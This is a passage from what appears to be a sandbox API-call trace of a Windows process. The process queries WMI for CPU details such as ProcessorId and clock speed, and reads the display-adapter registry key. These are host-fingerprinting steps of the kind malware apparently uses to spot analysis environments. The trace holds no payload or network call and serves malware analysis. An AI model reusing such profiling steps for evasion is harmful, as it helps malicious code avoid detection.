varVal2=0x0), pType=0x299f7b0*=19, plFlavor=0x299f7b4*=32 | out: pVal=0x1afbc340*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299f7b0*=19, plFlavor=0x299f7b4*=32) returned 0x0 [0168.773] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.773] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.773] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.773] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="L3CacheSize", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299f928*=0, plFlavor=0x299f92c*=0 | out: pVal=0x1afbc2f0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299f928*=19, plFlavor=0x299f92c*=0) returned 0x0 [0168.773] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="L3CacheSize", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299f928*=19, plFlavor=0x299f92c*=0 | out: pVal=0x1afbc340*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299f928*=19, plFlavor=0x299f92c*=0) returned 0x0 [0168.783] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.784] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.784] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.784] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="L3CacheSize", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299ffd0*=0, plFlavor=0x299ffd4*=0 | out: pVal=0x1afbc2f0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299ffd0*=19, plFlavor=0x299ffd4*=0) returned 0x0 [0168.784] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="L3CacheSize", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299ffd0*=19, plFlavor=0x299ffd4*=0 | out: pVal=0x1afbc340*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299ffd0*=19, plFlavor=0x299ffd4*=0) returned 0x0 [0168.785] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.785] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.785] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.785] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="DeviceID", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a01f0*=0, plFlavor=0x29a01f4*=0 | out: pVal=0x1afbc2f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CPU0", varVal2=0x0), pType=0x29a01f0*=8, plFlavor=0x29a01f4*=0) returned 0x0 [0168.785] SysStringByteLen (bstr="CPU0") returned 0x8 [0168.785] SysStringByteLen (bstr="CPU0") returned 0x8 [0168.785] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="DeviceID", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a01f0*=8, plFlavor=0x29a01f4*=0 | out: pVal=0x1afbc340*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CPU0", varVal2=0x0), pType=0x29a01f0*=8, plFlavor=0x29a01f4*=0) returned 0x0 [0168.785] SysStringByteLen (bstr="CPU0") returned 0x8 [0168.785] SysStringByteLen (bstr="CPU0") returned 0x8 [0168.785] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.785] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.785] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.785] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="DeviceID", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a02b8*=0, plFlavor=0x29a02bc*=0 | out: pVal=0x1afbc2f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CPU0", varVal2=0x0), pType=0x29a02b8*=8, plFlavor=0x29a02bc*=0) returned 0x0 [0168.785] SysStringByteLen (bstr="CPU0") returned 0x8 [0168.785] SysStringByteLen (bstr="CPU0") returned 0x8 [0168.785] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="DeviceID", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a02b8*=8, plFlavor=0x29a02bc*=0 | out: pVal=0x1afbc340*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CPU0", varVal2=0x0), pType=0x29a02b8*=8, plFlavor=0x29a02bc*=0) returned 0x0 [0168.786] SysStringByteLen (bstr="CPU0") returned 0x8 [0168.786] SysStringByteLen (bstr="CPU0") returned 0x8 [0168.786] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.786] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.786] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.786] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="ProcessorId", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a0418*=0, plFlavor=0x29a041c*=0 | out: pVal=0x1afbc2f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF00050654", varVal2=0x0), pType=0x29a0418*=8, plFlavor=0x29a041c*=0) returned 0x0 [0168.786] SysStringByteLen (bstr="0F8BFBFF00050654") returned 0x20 [0168.786] SysStringByteLen (bstr="0F8BFBFF00050654") returned 0x20 [0168.786] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="ProcessorId", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a0418*=8, plFlavor=0x29a041c*=0 | out: pVal=0x1afbc340*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF00050654", varVal2=0x0), pType=0x29a0418*=8, plFlavor=0x29a041c*=0) returned 0x0 [0168.786] SysStringByteLen (bstr="0F8BFBFF00050654") returned 0x20 [0168.786] SysStringByteLen (bstr="0F8BFBFF00050654") returned 0x20 [0168.786] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.786] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.786] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.786] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="ProcessorId", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a0510*=0, plFlavor=0x29a0514*=0 | out: pVal=0x1afbc2f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF00050654", varVal2=0x0), pType=0x29a0510*=8, plFlavor=0x29a0514*=0) returned 0x0 [0168.786] SysStringByteLen (bstr="0F8BFBFF00050654") returned 0x20 [0168.786] SysStringByteLen (bstr="0F8BFBFF00050654") returned 0x20 [0168.787] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="ProcessorId", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a0510*=8, plFlavor=0x29a0514*=0 | out: pVal=0x1afbc340*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF00050654", varVal2=0x0), pType=0x29a0510*=8, plFlavor=0x29a0514*=0) returned 0x0 [0168.787] SysStringByteLen (bstr="0F8BFBFF00050654") returned 0x20 [0168.787] SysStringByteLen (bstr="0F8BFBFF00050654") returned 0x20 [0168.787] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.787] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.787] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.787] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="ExtClock", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a0690*=0, plFlavor=0x29a0694*=0 | out: pVal=0x1afbc2f0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a0690*=19, plFlavor=0x29a0694*=32) returned 0x0 [0168.787] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="ExtClock", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a0690*=19, plFlavor=0x29a0694*=32 | out: pVal=0x1afbc340*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a0690*=19, plFlavor=0x29a0694*=32) returned 0x0 [0168.787] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.787] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.787] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.787] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="CurrentClockSpeed", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a07c8*=0, plFlavor=0x29a07cc*=0 | out: pVal=0x1afbc2f0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa22, varVal2=0x0), pType=0x29a07c8*=19, plFlavor=0x29a07cc*=0) returned 0x0 [0168.787] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="CurrentClockSpeed", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a07c8*=19, plFlavor=0x29a07cc*=0 | out: pVal=0x1afbc340*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa22, varVal2=0x0), pType=0x29a07c8*=19, plFlavor=0x29a07cc*=0) returned 0x0 [0168.788] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.788] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.788] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.788] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="CurrentClockSpeed", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a08a0*=0, plFlavor=0x29a08a4*=0 | out: pVal=0x1afbc2f0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa22, varVal2=0x0), pType=0x29a08a0*=19, plFlavor=0x29a08a4*=0) returned 0x0 [0168.788] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="CurrentClockSpeed", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a08a0*=19, plFlavor=0x29a08a4*=0 | out: pVal=0x1afbc340*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa22, varVal2=0x0), pType=0x29a08a0*=19, plFlavor=0x29a08a4*=0) returned 0x0 [0168.788] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.788] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.788] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.788] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="Revision", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a0f10*=0, plFlavor=0x29a0f14*=0 | out: pVal=0x1afbc2f0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5504, varVal2=0x0), pType=0x29a0f10*=18, plFlavor=0x29a0f14*=0) returned 0x0 [0168.788] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="Revision", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a0f10*=18, plFlavor=0x29a0f14*=0 | out: pVal=0x1afbc340*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5504, varVal2=0x0), pType=0x29a0f10*=18, plFlavor=0x29a0f14*=0) returned 0x0 [0168.788] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc338 | out: puCount=0x1afbc338*=0x2) returned 0x0 [0168.788] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc330*=0xf, pszText=0x0) returned 0x0 [0168.788] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc330*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc330*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0168.788] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="Revision", lFlags=0, pVal=0x1afbc2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a0fe8*=0, plFlavor=0x29a0fec*=0 | out: pVal=0x1afbc2f0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5504, varVal2=0x0), pType=0x29a0fe8*=18, plFlavor=0x29a0fec*=0) returned 0x0 [0168.789] IWbemClassObject:Get (in: This=0x1b21fe80, wszName="Revision", lFlags=0, pVal=0x1afbc340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29a0fe8*=18, plFlavor=0x29a0fec*=0 | out: pVal=0x1afbc340*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5504, varVal2=0x0), pType=0x29a0fe8*=18, plFlavor=0x29a0fec*=0) returned 0x0 [0168.879] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\ControlSet001\\Control\\Class\\{4d36e968-e325-11ce-bfc1-08002be10318}", ulOptions=0x0, samDesired=0x20219, phkResult=0x1afbc4d8 | out: phkResult=0x1afbc4d8*=0x470) returned 0x0 [0168.914] RegQueryInfoKeyW (in: hKey=0x470, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x1afbc500, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1afbc4f8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x1afbc500*=0x3, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1afbc4f8*=0x5, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0168.915] RegEnumKeyExW (in: hKey=0x470, dwIndex=0x0, lpName=0x29a54f8, lpcchName=0x1afbc568, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0000", lpcchName=0x1afbc568, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0168.915] CoTaskMemFree (pv=0x0) [0168.916] RegEnumKeyExW (in: hKey=0x470, dwIndex=0x1, lpName=0x29a54f8, lpcchName=0x1afbc568, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0001", lpcchName=0x1afbc568, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0168.916] CoTaskMemFree (pv=0x0) [0168.916] RegEnumKeyExW (in: hKey=0x470, dwIndex=0x2, lpName=0x29a54f8, lpcchName=0x1afbc568, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Properties", lpcchName=0x1afbc568, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0168.916] CoTaskMemFree (pv=0x0) [0168.917] RegOpenKeyExW (in: hKey=0x470, lpSubKey="0000", ulOptions=0x0, samDesired=0x20219, phkResult=0x1afbc4d8 | out: phkResult=0x1afbc4d8*=0x480) returned 0x0 [0168.918] RegQueryValueExW (in: hKey=0x480, lpValueName="HardwareInformation.AdapterString", lpReserved=0x0, lpType=0x1afbc528, lpData=0x0, lpcbData=0x1afbc520*=0x0 | out: lpType=0x1afbc528*=0x1, lpData=0x0, lpcbData=0x1afbc520*=0x40) returned 0x0 [0168.918] RegQueryValueExW (in: hKey=0x480, lpValueName="HardwareInformation.AdapterString", lpReserved=0x0, lpType=0x1afbc528, lpData=0x29a59e0, lpcbData=0x1afbc520*=0x40 | out: lpType=0x1afbc528*=0x1, lpData="Microsoft Basic Display Adapter", lpcbData=0x1afbc520*=0x40) returned 0x0 [0168.918] RegOpenKeyExW (in: hKey=0x470, lpSubKey="0000", ulOptions=0x0, samDesired=0x20219, phkResult=0x1afbc4d8 | out: phkResult=0x1afbc4d8*=0x45c) returned 0x0 [0168.919] RegQueryValueExW (in: hKey=0x45c, lpValueName="HardwareInformation.qwMemorySize", lpReserved=0x0, lpType=0x1afbc528, lpData=0x0, lpcbData=0x1afbc520*=0x0 | out: lpType=0x1afbc528*=0x0, lpData=0x0, lpcbData=0x1afbc520*=0x0) returned 0x2 [0168.919] RegCloseKey (hKey=0x470) returned 0x0 [0168.919] CoGetObjectContext (in: riid=0x2569d10*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc488 | out: ppv=0x1afbc488*=0x77dd58) returned 0x0 [0168.919] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbc478 | out: pAptType=0x1afbc478*=1) returned 0x0 [0168.919] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2569cf0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbc480 | out: ppvObject=0x1afbc480*=0x0) returned 0x80004002 [0168.919] IUnknown:Release (This=0x77dd58) returned 0x1 [0168.920] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbb878 | out: ppv=0x1afbb878*=0x1b1ffad0) returned 0x0 [0168.920] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b1ffad0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb960 | out: ppvObject=0x1afbb960*=0x0) returned 0x80004002 [0168.920] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b1ffad0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb938 | out: ppvObject=0x1afbb938*=0x7b43c0) returned 0x0 [0168.920] WbemDefPath:IUnknown:Release (This=0x1b1ffad0) returned 0x0 [0168.920] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b43c0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb6e0 | out: ppvObject=0x1afbb6e0*=0x7b43c0) returned 0x0 [0168.921] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b43c0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbb770 | out: ppvObject=0x1afbb770*=0x0) returned 0x80004002 [0168.921] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b43c0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbaf68 | out: ppvObject=0x1afbaf68*=0x0) returned 0x80004002 [0168.921] WbemDefPath:IUnknown:AddRef (This=0x7b43c0) returned 0x3 [0168.921] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b43c0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbae28 | out: ppvObject=0x1afbae28*=0x0) returned 0x80004002 [0168.921] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b43c0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbadb0 | out: ppvObject=0x1afbadb0*=0x0) returned 0x80004002 [0168.921] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b43c0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbada0 | out: ppvObject=0x1afbada0*=0x1b1ff730) returned 0x0 [0168.921] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b1ff730, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbadc8 | out: pCid=0x1afbadc8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0168.921] WbemDefPath:IUnknown:Release (This=0x1b1ff730) returned 0x3 [0168.921] CoGetContextToken (in: pToken=0x1afbae50 | out: pToken=0x1afbae50) returned 0x0 [0168.921] CoGetContextToken (in: pToken=0x1afbb2d0 | out: pToken=0x1afbb2d0) returned 0x0 [0168.921] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b43c0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb390 | out: ppvObject=0x1afbb390*=0x0) returned 0x80004002 [0168.921] WbemDefPath:IUnknown:Release (This=0x7b43c0) returned 0x2 [0168.921] WbemDefPath:IUnknown:Release (This=0x7b43c0) returned 0x1 [0168.922] CoGetContextToken (in: pToken=0x1afbc0c0 | out: 